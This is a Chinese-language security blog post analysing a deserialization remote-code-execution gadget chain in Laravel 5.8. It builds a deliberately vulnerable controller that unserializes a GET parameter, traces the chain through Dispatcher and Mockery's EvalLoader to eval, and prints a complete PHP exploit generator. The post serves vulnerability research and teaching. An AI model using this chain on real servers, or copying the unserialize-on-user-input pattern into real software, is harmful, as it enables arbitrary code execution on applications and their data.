# Laravel 5.8 RCE 分析

peri0d / 2019-08-24 09:56:00 / 浏览数 3495 安全技术 漏洞分析 顶(0) 踩(0)

## 环境搭建

`composer create-project --prefer-dist laravel/laravel laravel58` 安装 Laravel 5.8 并生成 `laravel58` 项目

进入项目文件夹，使用 `php artisan serve` 启动 web 服务

在 `laravel58/routes/web.php` 文件添加路由

```
Route::get("/","\App\Http\Controllers\DemoController@demo");
```

在 `laravel58/app/Http/Controllers/` 下添加 `DemoController.php` 控制器

```
<?php
namespace App\Http\Controllers;

class DemoController extends Controller
{
   public function demo()
   {
       if(isset($_GET['c'])){
           $code = $_GET['c'];
           unserialize($code);
       }
       else{
           highlight_file(__FILE__);
       }
       return "Welcome to laravel5.8";
   }
}
```

## 漏洞分析

ph 牛的 payload : https://github.com/ambionics/phpggc/pull/61

从 `Illuminate\Broadcasting\PendingBroadcast` 类的 `__destruct` 方法开始的 pop 链

`Illuminate\Broadcasting\PendingBroadcast` 中，`$events` 必须实现 `Dispatcher` 接口，这里选择的是 `Illuminate\Bus\Dispatcher`

```
public function __construct(Dispatcher $events, $event)
{
   $this->event = $event;
   $this->events = $events;
}

public function __destruct()
{
   $this->events->dispatch($this->event);
}
```

`Illuminate\Bus\Dispatcher` 中，调用 `dispatch` 方法，进入 `if` 判断，`$this->queueResolver` 是在实例化 `Illuminate\Bus\Dispatcher` 时的一个参数，它必须有值，`$command` 也就是 `$this->event` 必须实现 `ShouldQueue` 接口，这里选择的就是 `Illuminate\Broadcasting\BroadcastEvent`

```
// $command : $this->event
public function dispatch($command)
{
   if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
       return $this->dispatchToQueue($command);
   }

   return $this->dispatchNow($command);
}
```

```
public function __construct(Container $container, Closure $queueResolver = null)
{
   $this->container = $container;
   $this->queueResolver = $queueResolver;
   $this->pipeline = new Pipeline($container);
}

protected function commandShouldBeQueued($command)
{
   return $command instanceof ShouldQueue;
}
```

到这里，构造出的 exp：

```
<?php
namespace Illuminate\Broadcasting {
   class PendingBroadcast {
       protected $events;
       protected $event;
       function __construct($evilCode)
       {
           $this->events = new \Illuminate\Bus\Dispatcher();
           $this->event = new BroadcastEvent($evilCode);
       }
   }
}
?>
```

然后进入 `dispatchToQueue` 方法，存在 `call_user_func` 方法，其中的 `$this->queueResolver` 是可控的，这里利用的是 `Mockery\Loader\EvalLoader` 的 `load` 方法，即 `$this->queueResolver` 为 `array(new Mockery\Loader\EvalLoader(), "load")`

```
public function dispatchToQueue($command)
{
   $connection = $command->connection ?? null;

   $queue = call_user_func($this->queueResolver, $connection);

   if (! $queue instanceof Queue) {
       throw new RuntimeException('Queue resolver did not return a Queue implementation.');
   }

   if (method_exists($command, 'queue')) {
       return $command->queue($queue, $command);
   }

   return $this->pushCommandToQueue($queue, $command);
}
```

这个点的意思就是

1. `$this->events` 调用 `dispatch` 传入参数 `$this->event` 后
2. 访问 `$this->events` 的 `queueResolver` 属性
3. 调用 `$this->events->commandShouldBeQueued($this->event)` 方法
4. 调用 `dispatchToQueue` 传入 `$this->event` 参数。其中的 `$connection` 为 `$this->event->connection` ，即 `Illuminate\Broadcasting\BroadcastEvent` 中的 `$connection` 属性
5. `call_user_func` 将 `$connection` 作为参数传给 `$this->queueResolver` 返回的函数

到这里，构造出的 exp 如下，已经实现 `call_user_func($this->queueResolver, $connection)` 即 `call_user_func($evilFunc, $evilCode)` ，接下来就要寻找一个可以利用的函数，这里选择的是 `Mockery\Loader\EvalLoader` ，继续跟进

```
<?php
namespace Illuminate\Broadcasting {
   class PendingBroadcast {
       protected $events;
       protected $event;
       function __construct($evilCode)
       {
           $this->events = new \Illuminate\Bus\Dispatcher();
           $this->event = new BroadcastEvent($evilCode);
```

```
        }
    }

 class BroadcastEvent {
        public $connection;
        function __construct($evilCode)
        {
            $this->connection = $evilCode;
        }
    }
}

namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = $evilFunc;
        }
    }
}
```

Mockery\Loader\EvalLoader 中有一个 eval 函数可以利用，这里的 $definition 是 MockDefinition 类的实例化对象，也就说明 $this->event->connection 是 MockDefinition 类的实例化对象。接下来就是绕过 if 判断。

```
class EvalLoader implements Loader
{
    public function load(MockDefinition $definition)
    {
        if (class_exists($definition->getClassName(), false)) {
            return;
        }

        eval("?>" . $definition->getCode());
    }
}
```

跟进 Mockery\Generator\MockDefinition ，如果要绕过 if 判断，必须让 getClassName 返回一个不存在的类名，即 $this->config->getName() 返回一个不存在的类名。$config 为 Mockery\Generator\MockConfiguration 的实例化对象

```
class MockDefinition
{
    protected $config;
    protected $code;

    public function __construct(MockConfiguration $config, $code)
    {
        if (!$config->getName()) {
            throw new \InvalidArgumentException("MockConfiguration must contain a name");
        }
        $this->config = $config;
        $this->code = $code;
    }

    public function getConfig()
    {
        return $this->config;
    }

    public function getClassName()
    {
        return $this->config->getName();
    }

    public function getCode()
    {
        return $this->code;
    }
}
```

`Mockery\Generator\MockConfiguration` 中，让 `getName()` 返回一个不存在的类名，最终执行 `eval("?>" . $definition->getCode());` 实现 RCE

```
class MockConfiguration
{
   protected $name;

   public function getName()
   {
       return $this->name;
   }
}
```

最终的 exp ，(ph 牛的 exp ) :

```
<?php
namespace Illuminate\Broadcasting {
   class PendingBroadcast {
       protected $events;
       protected $event;
       function __construct($evilCode)
       {
           $this->events = new \Illuminate\Bus\Dispatcher();
           $this->event = new BroadcastEvent($evilCode);
       }
   }

 class BroadcastEvent {
       public $connection;
       function __construct($evilCode)
       {
           $this->connection = new \Mockery\Generator\MockDefinition($evilCode);
       }
   }
}

namespace Illuminate\Bus {
   class Dispatcher {
       protected $queueResolver;
       function __construct()
       {
           $this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
       }
   }
}

namespace Mockery\Loader {
   class EvalLoader {}
}
namespace Mockery\Generator {
   class MockDefinition {
       protected $config;
       protected $code;
       function __construct($evilCode)
       {
           $this->code = $evilCode;
           $this->config = new MockConfiguration();
       }
   }
   class MockConfiguration {
       protected $name = 'abcdefg';
   }
}

namespace {
 $code = "<?php phpinfo(); exit; ?>";
 $exp = new \Illuminate\Broadcasting\PendingBroadcast($code);
 echo serialize($exp);
}
?>
```

构造输出结果：

```
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queu
```

## 一些思考

危险函数的寻找

eval，call_user_func

phpstorm + xdebug 调试代码

PHP 序列化的时候 private 和 protected 变量会引入不可见字符 `\x00`，`\x00Test\x00y` 为 private，`\x00*\x00` 为 protected，注意这两个 `\x00` 就是 ascii 码为 0 的字符。这个字符显示和输出可能看不到，甚至导致截断，url 编码后就可以看得很清楚了。此时，为了更加方便进行反序列化 payload 的传输与显示，我们可以在序列化内容中用大写 S 表示字符串，此时这个字符串就支持将后面的字符串用 16 进制表示。

```
<?php
class Test
{
 public $x="peri0d";
 private $y="peri0d";
 protected $z="peri0d";
}

$k = new Test();

echo serialize($k);

// O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\x00Test\x00y";S:6:"peri0d";S:4:"\x00*\x00z";S:6:"peri0d";}
?>
```

反序列化测试代码：

```
<?php
// ■■ : php 7.1.13 nts
class Test
{
 public $x="peri0d";
 private $y="peri0d";
 protected $z="peri0d";
}

$n = new Test();
var_dump(serialize($n));
var_dump(unserialize(serialize($n))); // ■■

$k = 'O:4:"Test":3:{S:1:"x";S:6:"peri0d";S:7:"\00Test\00y";S:6:"peri0d";S:4:"\00*\00z";S:6:"peri0d";}';
var_dump(unserialize($k)); // ■■

$m = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"\00Test\00y";s:6:"peri0d";s:4:"\00*\00z";s:6:"peri0d";}';
var_dump(unserialize($m)); // ■■

$l = 'O:4:"Test":3:{s:1:"x";s:6:"peri0d";s:7:"Testy";s:6:"peri0d";s:4:"*z";s:6:"peri0d";}';
var_dump(unserialize($l)); // ■■
?>
```

## 参考链接

- https://xz.aliyun.com/t/5911
- https://xz.aliyun.com/t/5866

点击收藏 | 0 关注 | 1

上一篇：浅谈常见的文件上传的检测方式与绕过方法 下一篇：指纹识别WAF规则：基于时间的侧信道攻击

1. 0 条回复
   - 动动手指，沙发就是你的了！